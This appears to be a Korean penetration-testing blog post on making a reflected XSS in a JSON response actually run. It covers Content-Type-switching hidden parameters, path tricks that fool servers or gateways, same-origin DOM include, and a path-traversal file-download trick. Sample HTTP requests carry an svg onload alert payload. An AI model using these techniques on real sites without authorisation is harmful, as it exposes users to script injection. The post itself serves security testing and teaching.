XSS Weakness(JSON XSS) to Valid XSS

오늘은 XSS Weakness를 트리거 가능한 XSS로 바꾸는 방법에 대해 이야기하려고 합니다. 새로운 기술은 아니고 오래전부터 다들 사용하시던 트릭일텐데, 생각해보니 제가 따로 정리했던 적은 없어서 이참에 글로 남겨둘까 합니다.

그럼 시작하죠 🔥

XSS Weakness

우리는 XSS 테스트 중 Content-Type이 JSON인 Reflection 을 발견하는 경우가 있습니다. 이는 ZAP이나 Burpsuite에서도 Active/Passive Scan 등을 통해 체크해주고 있는 부분이죠.

  Alert (Rule)
ZAP Cross Site Scripting Weakness (Reflected in JSON Response)
Burpsuite Cross-site scripting (reflected) / Info

당연히 도구에서 탐지는 정보성 탐지고, 크게 우회되는 패턴이 없다면 버려지는 항목들입니다. ZAP Alerts에서는 문제들를 아래와 같이 이야기하고 있습니다.

A XSS attack was reflected in a JSON response, this might leave content consumers vulnerable to attack if they don’t appropriately handle the data (response).

잘 읽어보면 “Content consumers가 이를 제대로 처리하지 않으면 영향받을 수도 있다” 라고 합니다. 저도 그렇고 대다수 분들이 여기서 트리거할 수 있는 부분이 없다면 미취약으로 판단할겁니다. 분명히 JSON Response에서 특수문자가 Escape 되지 않는건 큰 문제는 아니니깐요.

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8

{
    "query":"""><svg/onload=alert(45)>
}

이러한 경우를 XSS Weakness라고 표현합니다. 그럼 이를 트리거하기 위한 방법들을 살펴보죠.

Hidden param mining

때때로 type, contentType 등의 파라미터를 통해 Response의 Content-Type을 변경할 수 있는 경우가 있습니다. 특히 CDN 같이 여러 타입을 처리하는 서버에서 편의를 위해 가지고 있는 기능이기도 하구요. 또한 간혹 CRLF Injection이 가능한 파라미터가 숨어있을 수도 있습니다.

어쩄던 이러한 기능이 있는 페이지라면 XSS Weakness를 XSS로 바꿀 수 있습니다.

Weakness

Req

GET /vuln?query="><svg/onload=alert(45)> HTTP/1.1

Res

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8

{
	"query":"""><svg/onload=alert(45)>
}

Valid XSS

Req

GET /vuln?query="><svg/onload=alert(45)>&type=html HTTP/1.1

Res

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8

{
	"query":"""><svg/onload=alert(45)>
}

이러한 hidden parameter를 찾는건 ZAP Fuzzing이나 BurpSuite ParamMiner를 사용하는게 가장 좋겠죠?

Deceive WAS and G/W

때때로 웹서버, Proxy, G/W 등 여러 구간으로 나뉘어진 네트워크 구성에서는 어플리케이션이 아니라 WAS 등 다른 서버가 Content-Type을 결정하는 경우도 있습니다. 보통 이런 경우 파일의 확장자 등을 통해서 Content-Type을 결정하는 정책이 많은데, 이를 이용하여 서버가 json 등의 페이지에서 text/html을 내리도록 유도할 수 있습니다.

만약 아래와 같은 방법으로 Weakness를 만들 수 있다면 WAS나 Proxy, G/W를 속여볼 수 있습니다.

POST /xss.json HTTP/1.1

data=""><svg/onload=alert(45)>
  • /xss.json?.html
  • /.html/../xss.json
  • /xss.json/1.html (/ 뒤를 무시하는 경우)

이러한 방법은 보통 403 bypass, cache deception 등에 있는 방법들을 응용할 수 있습니다.

Weakness

Req

POST /xss.json HTTP/1.1

data=""><svg/onload=alert(45)>

Res

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8

{
	"query":"""><svg/onload=alert(45)>
}

Valid XSS

Req

POST /xss.json/1.html HTTP/1.1

data=""><svg/onload=alert(45)>

Res

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8

{
	"query":"""><svg/onload=alert(45)>
}

Include from other

서비스 내 다른 페이지에서 DOM 단 Include가 있는 경우 이를 활용하여 트리거할 수 있습니다. 일반적으로 DOM Include가 있는 경우 DOM XSS로 보지만, Origin 검증 등 제한이 있을 수 있는데요, 동일 Origin에서 2개의 문제가 같이 있는 경우 조합하여 XSS로 성공시킬 수 있습니다.

GET /page#widget=/vuln?query=%22%3E%3Csvg/onload=alert(45)%3E HTTP/1.1

Disturb downloadable func

웹 브라우저를 제외한 나머지 도구가 웹 페이지에서 파일을 다운로드하고 저장하는 방식은 어떨까요? 아래와 GET /JSON/wappalyzer/view/listAll/ 란 API의 Content-Type은 application/json 입니다.

http localhost:8090/JSON/wappalyzer/view/listAll/ --headers
HTTP/1.1 200 OK
Access-Control-Allow-Headers: ZAP-Header
Access-Control-Allow-Methods: GET,POST,OPTIONS
Cache-Control: no-cache, no-store, must-revalidate
Content-Length: 29268
Content-Security-Policy: default-src 'none'; script-src 'self'; connect-src 'self'; child-src 'self'; img-src 'self' data:; font-src 'self' data:; style-src 'self'
Content-Type: application/json; charset=UTF-8

그러나 확장자 없이 서빙되는 주소이기 때문에 Content-Type을 체크하는 웹 브라우저 아닌 다른 도구를 통해 파일을 받거나 열게되면 / 하위의 기본 페이지인 index.html로 다운로드 받게 됩니다.

wget http://localhost:8090/JSON/wappalyzer/view/listAll/
cat index.html
{"listAll":[{"https://antg.widerplanet.com":[{"website":"h.....

이를 이용하면 사용자의 세션을 이용하진 못해도 파일 기반의 XSS를 동작시킬 수도 있고, 만약 이 과정이 서버단에 저장되고 public dir 등을 통해 서빙되는 경우 온전한 XSS로도 바꿀 수 있습니다.

Valid XSS - Step1

먼저 다운로드 기능등을 통해 XSS Weakness 페이지를 파일로 받도록 요청합니다. 이 때 확장자가 .html, .xml, .svg 등 일반적으로 스크립트 실행이 가능한 확장자로 유도 가능하다면 해당 확장자로 진행해줍니다. 안되면 / 로 끝나도록 하여 index.html을 받도록 유도할 수도 있습니다.

Req

POST /filedown HTTP/1.1

path=/../../../user/info/?name=%22%3e%3csvg/onload=alert(45)>%26filename=1234.html

Res

HTTP/1.1 200 OK
Content-Type: application/json;charset=UTF-8

{"file":"http://target.com/files/1234.html"}

Valid XSS - Step2

서버가 파일을 받아 pulbic dir로 저장했다면 직접 접근해서 트리거를 확인할 수 있습니다. 물론 파일 업로드 형태의 취약점과 유사하지만, 도메인 검증 등 일부 보호 로직 등을 우회할 수 있다는 장점이 있습니다.

Req

GET /files/1234.html

Res

HTTP/1.1 200 OK
Content-Type: text/html;charset=UTF-8

{
	"query":"""><svg/onload=alert(45)>
}

Conclusion

상황과 조건에 따라서 위 방법 이외에도 많은 경우의 수가 생깁니다. 그래도 위 방법들은 보편적인 스킬이니 알고 계시면 언젠가 한번쯤 도움이 될꺼고, 이미 아신다면 리마인드 됬을거란 생각이 듭니다. 😎